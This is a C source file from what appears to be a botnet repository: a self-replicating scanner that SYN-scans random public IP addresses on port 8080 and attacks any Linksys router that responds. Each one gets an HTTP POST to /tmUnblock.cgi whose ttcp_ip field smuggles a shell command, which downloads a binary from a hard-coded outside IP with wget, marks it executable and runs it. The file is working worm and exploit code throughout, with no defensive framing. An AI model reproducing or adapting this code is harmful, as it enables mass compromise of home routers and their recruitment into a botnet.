Path: blob/master/Botnets/Self Reps/LinkSys/linksys8080.c
5038 views
#ifdef SELFREP1#define _GNU_SOURCE23#ifdef DEBUG4#include <stdio.h>5#endif6#include <unistd.h>7#include <stdlib.h>8#include <sys/socket.h>9#include <arpa/inet.h>10#include <sys/select.h>11#include <sys/types.h>12#include <time.h>13#include <fcntl.h>14#include <signal.h>15#include <errno.h>16#include <string.h>17#include <linux/ip.h>18#include <linux/tcp.h>192021#include "includes.h"22#include "linksys_scanner.h"23#include "rand.h"24#include "util.h"25#include "checksum.h"26#include "table.h"2728int linksysscanner_scanner_pid = 0, linksysscanner_rsck = 0, linksysscanner_rsck_out = 0;29char linksysscanner_scanner_rawpkt[sizeof(struct iphdr) + sizeof(struct tcphdr)] = {0};30struct linksysscanner_scanner_connection *conn_table;31uint32_t linksysscanner_fake_time = 0;32// B4CKDOOR WAS HERE33int linksysscanner_recv_strip_null(int sock, void *buf, int len, int flags)34{35int ret = recv(sock, buf, len, flags);3637if(ret > 0)38{39int i = 0;4041for(i = 0; i < ret; i++)42{43if(((char *)buf)[i] == 0x00)44{45((char *)buf)[i] = 'A';46}47}48}4950return ret;51}5253void linksysscanner_scanner_init(void)54{55int i = 0;56uint16_t source_port;57struct iphdr *iph;58struct tcphdr *tcph;5960// Let parent continue on main thread61linksysscanner_scanner_pid = fork();62if(linksysscanner_scanner_pid > 0 || linksysscanner_scanner_pid == -1)63return;6465LOCAL_ADDR = util_local_addr();6667rand_init();68linksysscanner_fake_time = time(NULL);69conn_table = calloc(linksysscanner_SCANNER_MAX_CONNS, sizeof(struct linksysscanner_scanner_connection));70for(i = 0; i < linksysscanner_SCANNER_MAX_CONNS; i++)71{72conn_table[i].state = linksysscanner_SC_CLOSED;73conn_table[i].fd = -1;74}7576// Set up raw socket scanning and payload77if((linksysscanner_rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)78{79#ifdef DEBUG80printf("[scanner] failed to initialize raw socket, cannot scan\n");81#endif82exit(0);83}84fcntl(linksysscanner_rsck, F_SETFL, O_NONBLOCK | fcntl(linksysscanner_rsck, F_GETFL, 0));85i = 1;86if(setsockopt(linksysscanner_rsck, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)) != 0)87{88#ifdef DEBUG89printf("[scanner] failed to set IP_HDRINCL, cannot scan\n");90#endif91close(linksysscanner_rsck);92exit(0);93}9495do96{97source_port = rand_next() & 0xffff;98}99while(ntohs(source_port) < 1024);100101iph = (struct iphdr *)linksysscanner_scanner_rawpkt;102tcph = (struct tcphdr *)(iph + 1);103104// Set up IPv4 header105iph->ihl = 5;106iph->version = 4;107iph->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr));108iph->id = rand_next();109iph->ttl = 64;110iph->protocol = IPPROTO_TCP;111112// Set up TCP header113tcph->dest = htons(8080);114tcph->source = source_port;115tcph->doff = 5;116tcph->window = rand_next() & 0xffff;117tcph->syn = TRUE;118119#ifdef DEBUG120printf("[scanner_huawei] scanner process initialized. scanning started.\n");121#endif122123// Main logic loop124while(TRUE)125{126fd_set fdset_rd, fdset_wr;127struct linksysscanner_scanner_connection *conn;128struct timeval tim;129int last_avail_conn, last_spew, mfd_rd = 0, mfd_wr = 0, nfds;130131// Spew out SYN to try and get a response132if(linksysscanner_fake_time != last_spew)133{134last_spew = linksysscanner_fake_time;135136for(i = 0; i < linksysscanner_SCANNER_RAW_PPS; i++)137{138struct sockaddr_in paddr = {0};139struct iphdr *iph = (struct iphdr *)linksysscanner_scanner_rawpkt;140struct tcphdr *tcph = (struct tcphdr *)(iph + 1);141142iph->id = rand_next();143iph->saddr = LOCAL_ADDR;144iph->daddr = linksysscanner_get_random_ip();145iph->check = 0;146iph->check = checksum_generic((uint16_t *)iph, sizeof(struct iphdr));147148tcph->dest = htons(8080);149tcph->seq = iph->daddr;150tcph->check = 0;151tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof(struct tcphdr)), sizeof(struct tcphdr));152153paddr.sin_family = AF_INET;154paddr.sin_addr.s_addr = iph->daddr;155paddr.sin_port = tcph->dest;156157sendto(linksysscanner_rsck, linksysscanner_scanner_rawpkt, sizeof(linksysscanner_scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof(paddr));158}159}160161// Read packets from raw socket to get SYN+ACKs162last_avail_conn = 0;163while(TRUE)164{165int n = 0;166char dgram[1514];167struct iphdr *iph = (struct iphdr *)dgram;168struct tcphdr *tcph = (struct tcphdr *)(iph + 1);169struct linksysscanner_scanner_connection *conn;170171errno = 0;172n = recvfrom(linksysscanner_rsck, dgram, sizeof(dgram), MSG_NOSIGNAL, NULL, NULL);173if(n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)174break;175176if(n < sizeof(struct iphdr) + sizeof(struct tcphdr))177continue;178if(iph->daddr != LOCAL_ADDR)179continue;180if(iph->protocol != IPPROTO_TCP)181continue;182if(tcph->source != htons(8080))183continue;184if(tcph->dest != source_port)185continue;186if(!tcph->syn)187continue;188if(!tcph->ack)189continue;190if(tcph->rst)191continue;192if(tcph->fin)193continue;194if(htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)195continue;196197conn = NULL;198for(n = last_avail_conn; n < linksysscanner_SCANNER_MAX_CONNS; n++)199{200if(conn_table[n].state == linksysscanner_SC_CLOSED)201{202conn = &conn_table[n];203last_avail_conn = n;204break;205}206}207208// If there were no slots, then no point reading any more209if(conn == NULL)210break;211212conn->dst_addr = iph->saddr;213conn->dst_port = tcph->source;214linksysscanner_setup_connection(conn);215}216217FD_ZERO(&fdset_rd);218FD_ZERO(&fdset_wr);219220for(i = 0; i < linksysscanner_SCANNER_MAX_CONNS; i++)221{222int timeout = 5;223224conn = &conn_table[i];225//timeout = (conn->state > linksysscanner_SC_CONNECTING ? 30 : 5);226227if(conn->state != linksysscanner_SC_CLOSED && (linksysscanner_fake_time - conn->last_recv) > timeout)228{229close(conn->fd);230conn->fd = -1;231conn->state = linksysscanner_SC_CLOSED;232util_zero(conn->rdbuf, sizeof(conn->rdbuf));233234continue;235}236237if(conn->state == linksysscanner_SC_CONNECTING || conn->state == linksysscanner_SC_EXPLOIT_STAGE2 || conn->state == linksysscanner_SC_EXPLOIT_STAGE3)238{239FD_SET(conn->fd, &fdset_wr);240if(conn->fd > mfd_wr)241mfd_wr = conn->fd;242}243else if(conn->state != linksysscanner_SC_CLOSED)244{245FD_SET(conn->fd, &fdset_rd);246if(conn->fd > mfd_rd)247mfd_rd = conn->fd;248}249}250251tim.tv_usec = 0;252tim.tv_sec = 1;253nfds = select(1 + (mfd_wr > mfd_rd ? mfd_wr : mfd_rd), &fdset_rd, &fdset_wr, NULL, &tim);254linksysscanner_fake_time = time(NULL);255256for(i = 0; i < linksysscanner_SCANNER_MAX_CONNS; i++)257{258conn = &conn_table[i];259260if(conn->fd == -1)261continue;262263if(FD_ISSET(conn->fd, &fdset_wr))264{265int err = 0, ret = 0;266socklen_t err_len = sizeof(err);267268ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);269if(err == 0 && ret == 0)270{271if(conn->state == linksysscanner_SC_EXPLOIT_STAGE2)272{273#ifdef DEBUG274printf("[scanner] FD%d sending payload\n", conn->fd);275#endif276277util_strcpy(conn->payload_buf, "POST /tmUnblock.cgi HTTP/1.1\r\nHost: 188.166.41.194:80\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: /\r\nUser-Agent: r00ts3c-owned-you\r\nContent-Length: 227\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F188.166.41.194%2Fvb%2FAmakano.mpsl%3B+chmod+777+Amakano.mpsl%3B+.%2FAmakano.mpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1");278279send(conn->fd, conn->payload_buf, util_strlen(conn->payload_buf), MSG_NOSIGNAL);280util_zero(conn->payload_buf, sizeof(conn->payload_buf));281util_zero(conn->rdbuf, sizeof(conn->rdbuf));282283284close(conn->fd);285linksysscanner_setup_connection(conn);286conn->state = linksysscanner_SC_EXPLOIT_STAGE3;287288continue;289}290else if(conn->state == linksysscanner_SC_EXPLOIT_STAGE3)291{292#ifdef DEBUG293printf("[scanner] FD%d finnished\n", conn->fd);294#endif295296close(conn->fd);297conn->fd = -1;298conn->state = linksysscanner_SC_CLOSED;299300continue;301}302else303{304#ifdef DEBUG305printf("[scanner] FD%d connected to %d.%d.%d.%d\n", conn->fd, conn->dst_addr & 0xff, (conn->dst_addr >> 8) & 0xff, (conn->dst_addr >> 16) & 0xff, (conn->dst_addr >> 24) & 0xff);306#endif307308conn->state = linksysscanner_SC_EXPLOIT_STAGE2;309}310}311else312{313close(conn->fd);314conn->fd = -1;315conn->state = linksysscanner_SC_CLOSED;316317continue;318}319}320321if(FD_ISSET(conn->fd, &fdset_rd))322{323while(TRUE)324{325int ret = 0;326327if(conn->state == linksysscanner_SC_CLOSED)328break;329330if(conn->rdbuf_pos == linksysscanner_SCANNER_RDBUF_SIZE)331{332memmove(conn->rdbuf, conn->rdbuf + linksysscanner_SCANNER_HACK_DRAIN, linksysscanner_SCANNER_RDBUF_SIZE - linksysscanner_SCANNER_HACK_DRAIN);333conn->rdbuf_pos -= linksysscanner_SCANNER_HACK_DRAIN;334}335336errno = 0;337ret = linksysscanner_recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, linksysscanner_SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);338if(ret == 0)339{340errno = ECONNRESET;341ret = -1;342}343if(ret == -1)344{345if(errno != EAGAIN && errno != EWOULDBLOCK)346{347if(conn->state == linksysscanner_SC_EXPLOIT_STAGE2)348{349close(conn->fd);350linksysscanner_setup_connection(conn);351continue;352}353354close(conn->fd);355conn->fd = -1;356conn->state = linksysscanner_SC_CLOSED;357util_zero(conn->rdbuf, sizeof(conn->rdbuf));358}359break;360}361362conn->rdbuf_pos += ret;363conn->last_recv = linksysscanner_fake_time;364365int len = util_strlen(conn->rdbuf);366conn->rdbuf[len] = 0;367}368}369}370}371}372373void linksysscanner_scanner_kill(void)374{375kill(linksysscanner_scanner_pid, 9);376}377378static void linksysscanner_setup_connection(struct linksysscanner_scanner_connection *conn)379{380struct sockaddr_in addr = {0};381382if(conn->fd != -1)383close(conn->fd);384385if((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)386{387return;388}389390conn->rdbuf_pos = 0;391util_zero(conn->rdbuf, sizeof(conn->rdbuf));392393fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));394395addr.sin_family = AF_INET;396addr.sin_addr.s_addr = conn->dst_addr;397addr.sin_port = conn->dst_port;398399conn->last_recv = linksysscanner_fake_time;400401if(conn->state == linksysscanner_SC_EXPLOIT_STAGE2 || conn->state == linksysscanner_SC_EXPLOIT_STAGE3)402{403}404else405{406conn->state = linksysscanner_SC_CONNECTING;407}408409connect(conn->fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in));410}411412static ipv4_t linksysscanner_get_random_ip(void)413{414uint32_t tmp;415uint8_t o1 = 0, o2 = 0, o3 = 0, o4 = 0;416417do418{419tmp = rand_next();420421o1 = tmp & 0xff;422o2 = (tmp >> 8) & 0xff;423o3 = (tmp >> 16) & 0xff;424o4 = (tmp >> 24) & 0xff;425}426while(o1 == 127 || // 127.0.0.0/8 - Loopback427(o1 == 0) || // 0.0.0.0/8 - Invalid address space428(o1 == 3) || // 3.0.0.0/8 - General Electric Company429(o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company430(o1 == 56) || // 56.0.0.0/8 - US Postal Service431(o1 == 10) || // 10.0.0.0/8 - Internal network432(o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network433(o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network434(o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved435(o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved436(o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use437(o1 >= 224) || // 224.*.*.*+ - Multicast438(o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense439);440441return INET_ADDR(o1,o2,o3,o4);442}443444#endif445446447